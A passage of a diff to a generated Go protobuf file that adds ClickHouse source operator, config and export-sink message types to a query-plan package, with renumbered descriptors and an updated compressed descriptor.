xxx_messageInfo_ClickHouseSourceOperator proto.InternalMessageInfo + +func (m *ClickHouseSourceOperator) GetHost() string { + if m != nil { + return m.Host + } + return "" +} + +func (m *ClickHouseSourceOperator) GetPort() int32 { + if m != nil { + return m.Port + } + return 0 +} + +func (m *ClickHouseSourceOperator) GetUsername() string { + if m != nil { + return m.Username + } + return "" +} + +func (m *ClickHouseSourceOperator) GetPassword() string { + if m != nil { + return m.Password + } + return "" +} + +func (m *ClickHouseSourceOperator) GetDatabase() string { + if m != nil { + return m.Database + } + return "" +} + +func (m *ClickHouseSourceOperator) GetQuery() string { + if m != nil { + return m.Query + } + return "" +} + +func (m *ClickHouseSourceOperator) GetColumnNames() []string { + if m != nil { + return m.ColumnNames + } + return nil +} + +func (m *ClickHouseSourceOperator) GetColumnTypes() []typespb.DataType { + if m != nil { + return m.ColumnTypes + } + return nil +} + +func (m *ClickHouseSourceOperator) GetBatchSize() int32 { + if m != nil { + return m.BatchSize + } + return 0 +} + +func (m *ClickHouseSourceOperator) GetStreaming() bool { + if m != nil { + return m.Streaming + } + return false +} + +func (m *ClickHouseSourceOperator) GetTimestampColumn() string { + if m != nil { + return m.TimestampColumn + } + return "" +} + +func (m *ClickHouseSourceOperator) GetPartitionColumn() string { + if m != nil { + return m.PartitionColumn + } + return "" +} + +func (m *ClickHouseSourceOperator) GetStartTime() int64 { + if m != nil { + return m.StartTime + } + return 0 +} + +func (m *ClickHouseSourceOperator) GetEndTime() int64 { + if m != nil { + return m.EndTime + } + return 0 +} + type OTelLog struct { Attributes []*OTelAttribute `protobuf:"bytes,1,rep,name=attributes,proto3" json:"attributes,omitempty"` TimeColumnIndex int64 `protobuf:"varint,2,opt,name=time_column_index,json=timeColumnIndex,proto3" json:"time_column_index,omitempty"` @@ -1822,7 +2001,7 @@ type OTelLog struct { func (m *OTelLog) Reset() { *m = OTelLog{} } func (*OTelLog) ProtoMessage() {} func (*OTelLog) Descriptor() ([]byte, []int) { - return fileDescriptor_e5dcfc8666ec3f33, []int{18} + return fileDescriptor_e5dcfc8666ec3f33, []int{19} } func (m *OTelLog) XXX_Unmarshal(b []byte) error { return m.Unmarshal(b) @@ -1911,7 +2090,7 @@ type OTelSpan struct { func (m *OTelSpan) Reset() { *m = OTelSpan{} } func (*OTelSpan) ProtoMessage() {} func (*OTelSpan) Descriptor() ([]byte, []int) { - return fileDescriptor_e5dcfc8666ec3f33, []int{19} + return fileDescriptor_e5dcfc8666ec3f33, []int{20} } func (m *OTelSpan) XXX_Unmarshal(b []byte) error { return m.Unmarshal(b) @@ -2046,7 +2225,7 @@ type OTelMetricGauge struct { func (m *OTelMetricGauge) Reset() { *m = OTelMetricGauge{} } func (*OTelMetricGauge) ProtoMessage() {} func (*OTelMetricGauge) Descriptor() ([]byte, []int) { - return fileDescriptor_e5dcfc8666ec3f33, []int{20} + return fileDescriptor_e5dcfc8666ec3f33, []int{21} } func (m *OTelMetricGauge) XXX_Unmarshal(b []byte) error { return m.Unmarshal(b) @@ -2130,7 +2309,7 @@ type OTelMetricSummary struct { func (m *OTelMetricSummary) Reset() { *m = OTelMetricSummary{} } func (*OTelMetricSummary) ProtoMessage() {} func (*OTelMetricSummary) Descriptor() ([]byte, []int) { - return fileDescriptor_e5dcfc8666ec3f33, []int{21} + return fileDescriptor_e5dcfc8666ec3f33, []int{22} } func (m *OTelMetricSummary) XXX_Unmarshal(b []byte) error { return m.Unmarshal(b) @@ -2188,7 +2367,7 @@ type OTelMetricSummary_ValueAtQuantile struct { func (m *OTelMetricSummary_ValueAtQuantile) Reset() { *m = OTelMetricSummary_ValueAtQuantile{} } func (*OTelMetricSummary_ValueAtQuantile) ProtoMessage() {} func (*OTelMetricSummary_ValueAtQuantile) Descriptor() ([]byte, []int) { - return fileDescriptor_e5dcfc8666ec3f33, []int{21, 0} + return fileDescriptor_e5dcfc8666ec3f33, []int{22, 0} } func (m *OTelMetricSummary_ValueAtQuantile) XXX_Unmarshal(b []byte) error { return m.Unmarshal(b) @@ -2243,7 +2422,7 @@ type OTelAttribute struct { func (m *OTelAttribute) Reset() { *m = OTelAttribute{} } func (*OTelAttribute) ProtoMessage() {} func (*OTelAttribute) Descriptor() ([]byte, []int) { - return fileDescriptor_e5dcfc8666ec3f33, []int{22} + return fileDescriptor_e5dcfc8666ec3f33, []int{23} } func (m *OTelAttribute) XXX_Unmarshal(b []byte) error { return m.Unmarshal(b) @@ -2334,7 +2513,7 @@ type OTelAttribute_Column struct { func (m *OTelAttribute_Column) Reset() { *m = OTelAttribute_Column{} } func (*OTelAttribute_Column) ProtoMessage() {} func (*OTelAttribute_Column) Descriptor() ([]byte, []int) { - return fileDescriptor_e5dcfc8666ec3f33, []int{22, 0} + return fileDescriptor_e5dcfc8666ec3f33, []int{23, 0} } func (m *OTelAttribute_Column) XXX_Unmarshal(b []byte) error { return m.Unmarshal(b) @@ -2400,7 +2579,7 @@ type OTelMetric struct { func (m *OTelMetric) Reset() { *m = OTelMetric{} } func (*OTelMetric) ProtoMessage() {} func (*OTelMetric) Descriptor() ([]byte, []int) { - return fileDescriptor_e5dcfc8666ec3f33, []int{23} + return fileDescriptor_e5dcfc8666ec3f33, []int{24} } func (m *OTelMetric) XXX_Unmarshal(b []byte) error { return m.Unmarshal(b) @@ -2520,7 +2699,7 @@ type OTelEndpointConfig struct { func (m *OTelEndpointConfig) Reset() { *m = OTelEndpointConfig{} } func (*OTelEndpointConfig) ProtoMessage() {} func (*OTelEndpointConfig) Descriptor() ([]byte, []int) { - return fileDescriptor_e5dcfc8666ec3f33, []int{24} + return fileDescriptor_e5dcfc8666ec3f33, []int{25} } func (m *OTelEndpointConfig) XXX_Unmarshal(b []byte) error { return m.Unmarshal(b) @@ -2577,6 +2756,89 @@ func (m *OTelEndpointConfig) GetTimeout() int64 { return 0 } +type ClickHouseConfig struct { + Hostname string `protobuf:"bytes,1,opt,name=hostname,proto3" json:"hostname,omitempty"` + Host string `protobuf:"bytes,2,opt,name=host,proto3" json:"host,omitempty"` + Port int32 `protobuf:"varint,3,opt,name=port,proto3" json:"port,omitempty"` + Username string `protobuf:"bytes,4,opt,name=username,proto3" json:"username,omitempty"` + Password string `protobuf:"bytes,5,opt,name=password,proto3" json:"password,omitempty"` + Database string `protobuf:"bytes,6,opt,name=database,proto3" json:"database,omitempty"` +} + +func (m *ClickHouseConfig) Reset() { *m = ClickHouseConfig{} } +func (*ClickHouseConfig) ProtoMessage() {} +func (*ClickHouseConfig) Descriptor() ([]byte, []int) { + return fileDescriptor_e5dcfc8666ec3f33, []int{26} +} +func (m *ClickHouseConfig) XXX_Unmarshal(b []byte) error { + return m.Unmarshal(b) +} +func (m *ClickHouseConfig) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { + if deterministic { + return xxx_messageInfo_ClickHouseConfig.Marshal(b, m, deterministic) + } else { + b = b[:cap(b)] + n, err := m.MarshalToSizedBuffer(b) + if err != nil { + return nil, err + } + return b[:n], nil + } +} +func (m *ClickHouseConfig) XXX_Merge(src proto.Message) { + xxx_messageInfo_ClickHouseConfig.Merge(m, src) +} +func (m *ClickHouseConfig) XXX_Size() int { + return m.Size() +} +func (m *ClickHouseConfig) XXX_DiscardUnknown() { + xxx_messageInfo_ClickHouseConfig.DiscardUnknown(m) +} + +var xxx_messageInfo_ClickHouseConfig proto.InternalMessageInfo + +func (m *ClickHouseConfig) GetHostname() string { + if m != nil { + return m.Hostname + } + return "" +} + +func (m *ClickHouseConfig) GetHost() string { + if m != nil { + return m.Host + } + return "" +} + +func (m *ClickHouseConfig) GetPort() int32 { + if m != nil { + return m.Port + } + return 0 +} + +func (m *ClickHouseConfig) GetUsername() string { + if m != nil { + return m.Username + } + return "" +} + +func (m *ClickHouseConfig) GetPassword() string { + if m != nil { + return m.Password + } + return "" +} + +func (m *ClickHouseConfig) GetDatabase() string { + if m != nil { + return m.Database + } + return "" +} + type OTelResource struct { Attributes []*OTelAttribute `protobuf:"bytes,1,rep,name=attributes,proto3" json:"attributes,omitempty"` } @@ -2584,7 +2846,7 @@ type OTelResource struct { func (m *OTelResource) Reset() { *m = OTelResource{} } func (*OTelResource) ProtoMessage() {} func (*OTelResource) Descriptor() ([]byte, []int) { - return fileDescriptor_e5dcfc8666ec3f33, []int{25} + return fileDescriptor_e5dcfc8666ec3f33, []int{27} } func (m *OTelResource) XXX_Unmarshal(b []byte) error { return m.Unmarshal(b) @@ -2631,7 +2893,7 @@ type OTelExportSinkOperator struct { func (m *OTelExportSinkOperator) Reset() { *m = OTelExportSinkOperator{} } func (*OTelExportSinkOperator) ProtoMessage() {} func (*OTelExportSinkOperator) Descriptor() ([]byte, []int) { - return fileDescriptor_e5dcfc8666ec3f33, []int{26} + return fileDescriptor_e5dcfc8666ec3f33, []int{28} } func (m *OTelExportSinkOperator) XXX_Unmarshal(b []byte) error { return m.Unmarshal(b) @@ -2695,6 +2957,126 @@ func (m *OTelExportSinkOperator) GetLogs() []*OTelLog { return nil } +type ClickHouseExportSinkOperator struct { + ClickhouseConfig *ClickHouseConfig `protobuf:"bytes,1,opt,name=clickhouse_config,json=clickhouseConfig,proto3" json:"clickhouse_config,omitempty"` + TableName string `protobuf:"bytes,2,opt,name=table_name,json=tableName,proto3" json:"table_name,omitempty"` + ColumnMappings []*ClickHouseExportSinkOperator_ColumnMapping `protobuf:"bytes,3,rep,name=column_mappings,json=columnMappings,proto3" json:"column_mappings,omitempty"` +} + +func (m *ClickHouseExportSinkOperator) Reset() { *m = ClickHouseExportSinkOperator{} } +func (*ClickHouseExportSinkOperator) ProtoMessage() {} +func (*ClickHouseExportSinkOperator) Descriptor() ([]byte, []int) { + return fileDescriptor_e5dcfc8666ec3f33, []int{29} +} +func (m *ClickHouseExportSinkOperator) XXX_Unmarshal(b []byte) error { + return m.Unmarshal(b) +} +func (m *ClickHouseExportSinkOperator) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { + if deterministic { + return xxx_messageInfo_ClickHouseExportSinkOperator.Marshal(b, m, deterministic) + } else { + b = b[:cap(b)] + n, err := m.MarshalToSizedBuffer(b) + if err != nil { + return nil, err + } + return b[:n], nil + } +} +func (m *ClickHouseExportSinkOperator) XXX_Merge(src proto.Message) { + xxx_messageInfo_ClickHouseExportSinkOperator.Merge(m, src) +} +func (m *ClickHouseExportSinkOperator) XXX_Size() int { + return m.Size() +} +func (m *ClickHouseExportSinkOperator) XXX_DiscardUnknown() { + xxx_messageInfo_ClickHouseExportSinkOperator.DiscardUnknown(m) +} + +var xxx_messageInfo_ClickHouseExportSinkOperator proto.InternalMessageInfo + +func (m *ClickHouseExportSinkOperator) GetClickhouseConfig() *ClickHouseConfig { + if m != nil { + return m.ClickhouseConfig + } + return nil +} + +func (m *ClickHouseExportSinkOperator) GetTableName() string { + if m != nil { + return m.TableName + } + return "" +} + +func (m *ClickHouseExportSinkOperator) GetColumnMappings() []*ClickHouseExportSinkOperator_ColumnMapping { + if m != nil { + return m.ColumnMappings + } + return nil +} + +type ClickHouseExportSinkOperator_ColumnMapping struct { + InputColumnIndex int32 `protobuf:"varint,1,opt,name=input_column_index,json=inputColumnIndex,proto3" json:"input_column_index,omitempty"` + ClickhouseColumnName string `protobuf:"bytes,2,opt,name=clickhouse_column_name,json=clickhouseColumnName,proto3" json:"clickhouse_column_name,omitempty"` + ColumnType typespb.DataType `protobuf:"varint,3,opt,name=column_type,json=columnType,proto3,enum=px.types.DataType" json:"column_type,omitempty"` +} + +func (m *ClickHouseExportSinkOperator_ColumnMapping) Reset() { + *m = ClickHouseExportSinkOperator_ColumnMapping{} +} +func (*ClickHouseExportSinkOperator_ColumnMapping) ProtoMessage() {} +func (*ClickHouseExportSinkOperator_ColumnMapping) Descriptor() ([]byte, []int) { + return fileDescriptor_e5dcfc8666ec3f33, []int{29, 0} +} +func (m *ClickHouseExportSinkOperator_ColumnMapping) XXX_Unmarshal(b []byte) error { + return m.Unmarshal(b) +} +func (m *ClickHouseExportSinkOperator_ColumnMapping) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { + if deterministic { + return xxx_messageInfo_ClickHouseExportSinkOperator_ColumnMapping.Marshal(b, m, deterministic) + } else { + b = b[:cap(b)] + n, err := m.MarshalToSizedBuffer(b) + if err != nil { + return nil, err + } + return b[:n], nil + } +} +func (m *ClickHouseExportSinkOperator_ColumnMapping) XXX_Merge(src proto.Message) { + xxx_messageInfo_ClickHouseExportSinkOperator_ColumnMapping.Merge(m, src) +} +func (m *ClickHouseExportSinkOperator_ColumnMapping) XXX_Size() int { + return m.Size() +} +func (m *ClickHouseExportSinkOperator_ColumnMapping) XXX_DiscardUnknown() { + xxx_messageInfo_ClickHouseExportSinkOperator_ColumnMapping.DiscardUnknown(m) +} + +var xxx_messageInfo_ClickHouseExportSinkOperator_ColumnMapping proto.InternalMessageInfo + +func (m *ClickHouseExportSinkOperator_ColumnMapping) GetInputColumnIndex() int32 { + if m != nil { + return m.InputColumnIndex + } + return 0 +} + +func (m *ClickHouseExportSinkOperator_ColumnMapping) GetClickhouseColumnName() string { + if m != nil { + return m.ClickhouseColumnName + } + return "" +} + +func (m *ClickHouseExportSinkOperator_ColumnMapping) GetColumnType() typespb.DataType { + if m != nil { + return m.ColumnType + } + return typespb.DATA_TYPE_UNKNOWN +} + type ScalarExpression struct { // Types that are valid to be assigned to Value: // @@ -2707,7 +3089,7 @@ type ScalarExpression struct { func (m *ScalarExpression) Reset() { *m = ScalarExpression{} } func (*ScalarExpression) ProtoMessage() {} func (*ScalarExpression) Descriptor() ([]byte, []int) { - return fileDescriptor_e5dcfc8666ec3f33, []int{27} + return fileDescriptor_e5dcfc8666ec3f33, []int{30} } func (m *ScalarExpression) XXX_Unmarshal(b []byte) error { return m.Unmarshal(b) @@ -2810,7 +3192,7 @@ type ScalarValue struct { func (m *ScalarValue) Reset() { *m = ScalarValue{} } func (*ScalarValue) ProtoMessage() {} func (*ScalarValue) Descriptor() ([]byte, []int) { - return fileDescriptor_e5dcfc8666ec3f33, []int{28} + return fileDescriptor_e5dcfc8666ec3f33, []int{31} } func (m *ScalarValue) XXX_Unmarshal(b []byte) error { return m.Unmarshal(b) @@ -2951,7 +3333,7 @@ type ScalarFunc struct { func (m *ScalarFunc) Reset() { *m = ScalarFunc{} } func (*ScalarFunc) ProtoMessage() {} func (*ScalarFunc) Descriptor() ([]byte, []int) { - return fileDescriptor_e5dcfc8666ec3f33, []int{29} + return fileDescriptor_e5dcfc8666ec3f33, []int{32} } func (m *ScalarFunc) XXX_Unmarshal(b []byte) error { return m.Unmarshal(b) @@ -3026,7 +3408,7 @@ type AggregateExpression struct { func (m *AggregateExpression) Reset() { *m = AggregateExpression{} } func (*AggregateExpression) ProtoMessage() {} func (*AggregateExpression) Descriptor() ([]byte, []int) { - return fileDescriptor_e5dcfc8666ec3f33, []int{30} + return fileDescriptor_e5dcfc8666ec3f33, []int{33} } func (m *AggregateExpression) XXX_Unmarshal(b []byte) error { return m.Unmarshal(b) @@ -3101,7 +3483,7 @@ type AggregateExpression_Arg struct { func (m *AggregateExpression_Arg) Reset() { *m = AggregateExpression_Arg{} } func (*AggregateExpression_Arg) ProtoMessage() {} func (*AggregateExpression_Arg) Descriptor() ([]byte, []int) { - return fileDescriptor_e5dcfc8666ec3f33, []int{30, 0} + return fileDescriptor_e5dcfc8666ec3f33, []int{33, 0} } func (m *AggregateExpression_Arg) XXX_Unmarshal(b []byte) error { return m.Unmarshal(b) @@ -3184,7 +3566,7 @@ type Column struct { func (m *Column) Reset() { *m = Column{} } func (*Column) ProtoMessage() {} func (*Column) Descriptor() ([]byte, []int) { - return fileDescriptor_e5dcfc8666ec3f33, []int{31} + return fileDescriptor_e5dcfc8666ec3f33, []int{34} } func (m *Column) XXX_Unmarshal(b []byte) error { return m.Unmarshal(b) @@ -3255,6 +3637,7 @@ func init() { proto.RegisterType((*JoinOperator_ParentColumn)(nil), "px.carnot.planpb.JoinOperator.ParentColumn") proto.RegisterType((*UDTFSourceOperator)(nil), "px.carnot.planpb.UDTFSourceOperator") proto.RegisterType((*EmptySourceOperator)(nil), "px.carnot.planpb.EmptySourceOperator") + proto.RegisterType((*ClickHouseSourceOperator)(nil), "px.carnot.planpb.ClickHouseSourceOperator") proto.RegisterType((*OTelLog)(nil), "px.carnot.planpb.OTelLog") proto.RegisterType((*OTelSpan)(nil), "px.carnot.planpb.OTelSpan") proto.RegisterType((*OTelMetricGauge)(nil), "px.carnot.planpb.OTelMetricGauge") @@ -3265,8 +3648,11 @@ func init() { proto.RegisterType((*OTelMetric)(nil), "px.carnot.planpb.OTelMetric") proto.RegisterType((*OTelEndpointConfig)(nil), "px.carnot.planpb.OTelEndpointConfig") proto.RegisterMapType((map[string]string)(nil), "px.carnot.planpb.OTelEndpointConfig.HeadersEntry") + proto.RegisterType((*ClickHouseConfig)(nil), "px.carnot.planpb.ClickHouseConfig") proto.RegisterType((*OTelResource)(nil), "px.carnot.planpb.OTelResource") proto.RegisterType((*OTelExportSinkOperator)(nil), "px.carnot.planpb.OTelExportSinkOperator") + proto.RegisterType((*ClickHouseExportSinkOperator)(nil), "px.carnot.planpb.ClickHouseExportSinkOperator") + proto.RegisterType((*ClickHouseExportSinkOperator_ColumnMapping)(nil), "px.carnot.planpb.ClickHouseExportSinkOperator.ColumnMapping") proto.RegisterType((*ScalarExpression)(nil), "px.carnot.planpb.ScalarExpression") proto.RegisterType((*ScalarValue)(nil), "px.carnot.planpb.ScalarValue") proto.RegisterType((*ScalarFunc)(nil), "px.carnot.planpb.ScalarFunc") @@ -3278,213 +3664,238 @@ func init() { func init() { proto.RegisterFile("src/carnot/planpb/plan.proto", fileDescriptor_e5dcfc8666ec3f33) } var fileDescriptor_e5dcfc8666ec3f33 = []byte{ - // 3294 bytes of a gzipped FileDescriptorProto - 0x1f, 0x8b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xff, 0xd4, 0x39, 0x4b, 0x6c, 0x1b, 0xc7, - 0xd9, 0x5c, 0x92, 0xe2, 0xe3, 0xe3, 0x53, 0x63, 0xc9, 0x96, 0x69, 0x9b, 0x72, 0x18, 0xfb, 0xb7, - 0xe2, 0x3f, 0xa1, 0x6c, 0xd9, 0xf1, 0xef, 0x38, 0xce, 0x9f, 0x50, 0x12, 0x25, 0x51, 0x91, 0x44, - 0x75, 0x44, 0x25, 0x4d, 0x1b, 0x74, 0xb1, 0xe2, 0x8e, 0xd6, 0x1b, 0x93, 0xbb, 0x9b, 0x7d, 0xd8, - 0x52, 0x80, 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, 0x3a, - 0xc8, 0x83, 0x0b, 0x64, 0x8f, 0x74, 0x3d, 0xba, 0x85, 0xec, 0xb8, 0x8a, 0xeb, 0x39, 0xb2, 0x4a, - 0x1c, 0x57, 0x37, 0x14, 0xae, 0x67, 0x8a, 0xc9, 0xbf, 0x1e, 0xad, 0x67, 0xbd, 0xe9, 0xf3, 0x6e, - 0x31, 0xd6, 0xc5, 0x21, 0x27, 0x3e, 0x47, 0x8e, 0xc4, 0x39, 0x95, 0x5d, 0xa8, 0x1c, 0xcd, 0x8a, - 0x9e, 0x83, 0xbc, 0x66, 0x5b, 0x5d, 0x59, 0x51, 0x55, 0x9b, 0x38, 0x0e, 0x8b, 0x49, 0x16, 0xe7, - 0x28, 0xac, 0xc1, 0x41, 0xe8, 0x32, 0x14, 0x1d, 0xa7, 0x27, 0xbb, 0x8a, 0xad, 0x11, 0xd7, 0x50, - 0xfa, 0x84, 0x65, 0x4c, 0x16, 0x17, 0x1c, 0xa7, 0xd7, 0x19, 0x00, 0x57, 0x93, 0x99, 0x44, 0x39, - 0x59, 0xdb, 0x87, 0x7c, 0x30, 0x24, 0xa8, 0x08, 0x71, 0x5d, 0x65, 0x52, 0x93, 0x38, 0xae, 0xab, - 0x7e, 0xe8, 0xe3, 0xc7, 0x86, 0xfe, 0x9a, 0x1f, 0xfa, 0x04, 0xf3, 0x4a, 0x25, 0xda, 0x2b, 0x1b, - 0xa6, 0x4a, 0x44, 0xd8, 0x6b, 0xbf, 0x90, 0x20, 0xb1, 0xd8, 0x58, 0x46, 0x37, 0x7c, 0x4e, 0x89, - 0x71, 0x5e, 0x88, 0xdc, 0x84, 0xfe, 0x05, 0x98, 0x2b, 0x3a, 0xa4, 0x05, 0x24, 0xa4, 0x32, 0xb5, - 0xdf, 0xb4, 0x5d, 0xa2, 0xca, 0x96, 0x62, 0x13, 0xc3, 0xa5, 0x09, 0x95, 0x98, 0x49, 0xe2, 0x02, - 0x87, 0x6e, 0x72, 0x20, 0xba, 0x02, 0x25, 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x7e, 0xd3, 0xfc, - 0xdf, 0x63, 0xa4, 0xf3, 0xfb, 0x9e, 0x48, 0x88, 0x02, 0x17, 0xb1, 0x20, 0xd2, 0xe2, 0x70, 0x74, - 0x93, 0xe1, 0xe8, 0x86, 0xa3, 0x30, 0x16, 0x11, 0x85, 0x3e, 0x8c, 0x87, 0xac, 0x40, 0x57, 0x61, - 0xbc, 0x47, 0x76, 0x7d, 0x7d, 0x79, 0x38, 0xc4, 0xdd, 0xb1, 0x44, 0x11, 0x0b, 0xc3, 0x80, 0xa0, - 0x17, 0x01, 0xd9, 0xba, 0x76, 0xef, 0x10, 0x71, 0x9c, 0x11, 0x97, 0x19, 0x26, 0x40, 0x5d, 0xe9, - 0x40, 0x3e, 0x68, 0x16, 0xb5, 0x83, 0xdf, 0x75, 0x47, 0x36, 0xc9, 0x71, 0x18, 0xdf, 0x60, 0x68, - 0x6a, 0x50, 0x74, 0x2e, 0x90, 0x14, 0xb5, 0x97, 0x21, 0xe3, 0x87, 0x15, 0x65, 0x61, 0xac, 0xb5, - 0xb1, 0xd1, 0xc4, 0xe5, 0x18, 0x2a, 0x02, 0xac, 0x35, 0x97, 0x3a, 0x72, 0x7b, 0xbb, 0xd3, 0xc4, - 0x65, 0x89, 0xae, 0x97, 0xb6, 0xd7, 0xd6, 0xc4, 0x3a, 0x51, 0xdb, 0x05, 0x14, 0x1e, 0xd6, 0x23, - 0x87, 0xaf, 0xbb, 0x00, 0x8a, 0xad, 0xc9, 0xa2, 0x17, 0xc7, 0x8f, 0xba, 0xee, 0xf3, 0xce, 0x22, - 0xa6, 0x4a, 0xc5, 0xd6, 0xd8, 0x93, 0x53, 0x33, 0xe1, 0x54, 0xc4, 0x14, 0x7f, 0x92, 0x0a, 0xfd, - 0x66, 0x07, 0x71, 0xed, 0x57, 0x71, 0x48, 0xd3, 0x69, 0x7e, 0xcd, 0xd4, 0xd0, 0xeb, 0x00, 0x8a, - 0xeb, 0xda, 0xfa, 0x8e, 0xe7, 0x0e, 0x8e, 0x91, 0xe9, 0xe8, 0x8b, 0x41, 0xc3, 0xa7, 0xc3, 0x01, - 0x16, 0x9a, 0x0c, 0x74, 0x1c, 0x0e, 0xc7, 0x37, 0x81, 0x4b, 0x14, 0x11, 0x4c, 0x86, 0x57, 0xa1, - 0x62, 0xee, 0x38, 0xc4, 0x7e, 0x40, 0x54, 0x39, 0xcc, 0x94, 0x60, 0x4c, 0x67, 0x7c, 0x8a, 0xce, - 0x21, 0xe6, 0x2b, 0x50, 0x72, 0xc8, 0x03, 0x62, 0xd3, 0x52, 0x34, 0xbc, 0xfe, 0x0e, 0xb1, 0xc5, - 0xbb, 0xbe, 0xa2, 0x0f, 0xde, 0x60, 0x50, 0xf4, 0x3c, 0x14, 0x06, 0x84, 0x2e, 0xd9, 0x73, 0x59, - 0x62, 0x67, 0x71, 0xde, 0x07, 0x76, 0xc8, 0x9e, 0x4b, 0xd5, 0xde, 0x31, 0xd5, 0xfd, 0x51, 0x0d, - 0x52, 0x5c, 0x6d, 0x8a, 0x08, 0xec, 0x5c, 0xfb, 0x28, 0x09, 0x19, 0x76, 0xfb, 0xb1, 0x14, 0x9a, - 0x92, 0x39, 0x1a, 0x0f, 0xd9, 0x71, 0x6d, 0x3a, 0xb3, 0xb3, 0x34, 0xa0, 0x17, 0x22, 0x0a, 0xdc, - 0x62, 0x30, 0xf4, 0x22, 0x8c, 0x33, 0x92, 0xb0, 0x4b, 0x56, 0x62, 0xb8, 0x44, 0x51, 0x41, 0xbb, - 0x46, 0x23, 0x90, 0xf8, 0xfa, 0x11, 0x58, 0x84, 0x49, 0xd7, 0x56, 0xd8, 0xbc, 0x3a, 0xba, 0x25, - 0x73, 0xcf, 0xfc, 0xf8, 0xc1, 0xe3, 0xe9, 0x42, 0x87, 0x12, 0xb4, 0x16, 0x45, 0xb7, 0x40, 0x8c, - 0xbe, 0xa5, 0x06, 0xd5, 0x68, 0xc0, 0x84, 0x63, 0x29, 0x46, 0x48, 0xc8, 0x18, 0x13, 0xc2,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0x45, 0x6f, 0x44, 0xa7, 0xe8, 0x88, 0x56, 0x75, 0xe6, 0xb8, - 0x86, 0xfb, 0x2d, 0x21, 0x01, 0x17, 0x7d, 0x59, 0xbc, 0xf5, 0x55, 0xbe, 0x0b, 0xa5, 0x43, 0x24, - 0x74, 0x40, 0xf4, 0x89, 0x98, 0xfa, 0x12, 0x1e, 0xac, 0xa9, 0x91, 0x41, 0x57, 0x8c, 0x28, 0x5e, - 0x66, 0x98, 0x60, 0xd9, 0x7e, 0x12, 0x87, 0xc2, 0x48, 0xd5, 0x44, 0xf6, 0xee, 0x37, 0x20, 0xc5, - 0xa5, 0x1d, 0xfd, 0xc2, 0x71, 0x44, 0x88, 0x18, 0x6e, 0x56, 0x62, 0x58, 0xf0, 0xa1, 0xe7, 0x21, - 0xcf, 0x9b, 0x81, 0x48, 0x9c, 0x84, 0x68, 0x09, 0x39, 0x0e, 0x65, 0x06, 0x56, 0x7e, 0x2e, 0x41, - 0x4a, 0x1c, 0x6a, 0x37, 0x06, 0x2f, 0x3f, 0x02, 0x73, 0x49, 0x54, 0xd3, 0x86, 0x61, 0xd3, 0x8e, - 0x3c, 0xe6, 0x12, 0x23, 0xc7, 0x1c, 0xba, 0x0d, 0x67, 0xbb, 0x8a, 0x21, 0xef, 0x10, 0xf9, 0x3d, - 0xc7, 0x34, 0x64, 0x62, 0x74, 0x4d, 0x95, 0xa8, 0xb2, 0x62, 0xdb, 0xca, 0xbe, 0xf8, 0x84, 0x32, - 0xd9, 0x55, 0x8c, 0x79, 0xb2, 0xea, 0x98, 0x46, 0x93, 0x63, 0x1b, 0x14, 0x39, 0x9f, 0x86, 0x31, - 0xa6, 0x7a, 0xed, 0xd3, 0x38, 0xc0, 0x30, 0x8a, 0x91, 0xfe, 0xba, 0xc8, 0xae, 0x45, 0x5d, 0x5b, - 0x67, 0xb7, 0x29, 0xf1, 0x0a, 0x3e, 0x08, 0xa2, 0x5c, 0x9e, 0xa1, 0xbb, 0xdc, 0x0f, 0x98, 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 0x82, 0xc2, 0x6a, 0xbb, 0x15, 0x80, 0xfd, 0xe1, 0x14, 0x55, 0xdb, 0x37, 0xb7, - 0xb5, 0xf1, 0xe6, 0x10, 0xf5, 0xf1, 0x12, 0xd5, 0x83, 0x1b, 0x3b, 0x82, 0xf8, 0x68, 0x19, 0x55, - 0xe1, 0x6c, 0xbb, 0xd3, 0x5c, 0x93, 0x9b, 0xdf, 0xde, 0x6c, 0xe3, 0xce, 0x21, 0xfc, 0x57, 0xcb, - 0xf3, 0x77, 0x1f, 0x3d, 0xa9, 0xc6, 0x3e, 0x7f, 0x52, 0x8d, 0x7d, 0xf5, 0xa4, 0x2a, 0x7d, 0x78, - 0x50, 0x95, 0x3e, 0x3e, 0xa8, 0x4a, 0x7f, 0x3c, 0xa8, 0x4a, 0x8f, 0x0e, 0xaa, 0xd2, 0x17, 0x07, - 0x55, 0xe9, 0xe9, 0x41, 0x35, 0xf6, 0xd5, 0x41, 0x55, 0xfa, 0xc9, 0x97, 0xd5, 0xd8, 0xa3, 0x2f, - 0xab, 0xb1, 0xcf, 0xbf, 0xac, 0xc6, 0xbe, 0x93, 0xe2, 0xa1, 0xdf, 0x49, 0xb1, 0xef, 0x59, 0x37, - 0xfe, 0x19, 0x00, 0x00, 0xff, 0xff, 0xd2, 0xa5, 0x24, 0xbc, 0x5d, 0x24, 0x00, 0x00, + // 3683 bytes of a gzipped FileDescriptorProto + 0x1f, 0x8b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xff, 0xd4, 0x3a, 0x4b, 0x6c, 0x1c, 0x47, + 0x76, 0x33, 0xd3, 0xf3, 0x7d, 0xf3, 0x65, 0x89, 0x94, 0xa9, 0xb1, 0x35, 0x94, 0xdb, 0x72, 0x2c, + 0x2b, 0x5e, 0xca, 0xa6, 0x65, 0x45, 0x2b, 0x6b, 0xe3, 0x1d, 0x92, 0x43, 0x72, 0x64, 0x92, 0xc3, + 0x14, 0x87, 0xbb, 0xd9, 0x64, 0xe1, 0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0xe2, 0xea, 0x4c, 0xdc, 0xab, 0x49, 0x71, 0x3d, + 0x4a, 0x98, 0x90, 0x57, 0x27, 0x51, 0x30, 0xfa, 0x31, 0xd4, 0x2c, 0x8f, 0x8c, 0x43, 0x97, 0x35, + 0x98, 0xb4, 0x5b, 0x29, 0x27, 0x73, 0x48, 0xc6, 0xbd, 0x53, 0xdb, 0x72, 0xbc, 0xa4, 0xdf, 0x28, + 0x6e, 0xea, 0x37, 0x2a, 0x4f, 0xf8, 0xed, 0x03, 0x58, 0x1c, 0x8d, 0x8d, 0xd1, 0x93, 0xc7, 0x96, + 0xef, 0x92, 0x88, 0xce, 0x4d, 0xb6, 0xcb, 0xed, 0xe4, 0x2e, 0x1b, 0x94, 0x7a, 0x87, 0x52, 0x27, + 0x14, 0x47, 0x53, 0x49, 0xa1, 0xf6, 0x1f, 0x00, 0x8a, 0xca, 0x17, 0x36, 0xb4, 0x98, 0xf4, 0xd5, + 0x8b, 0xa4, 0x27, 0x2d, 0xd9, 0xc9, 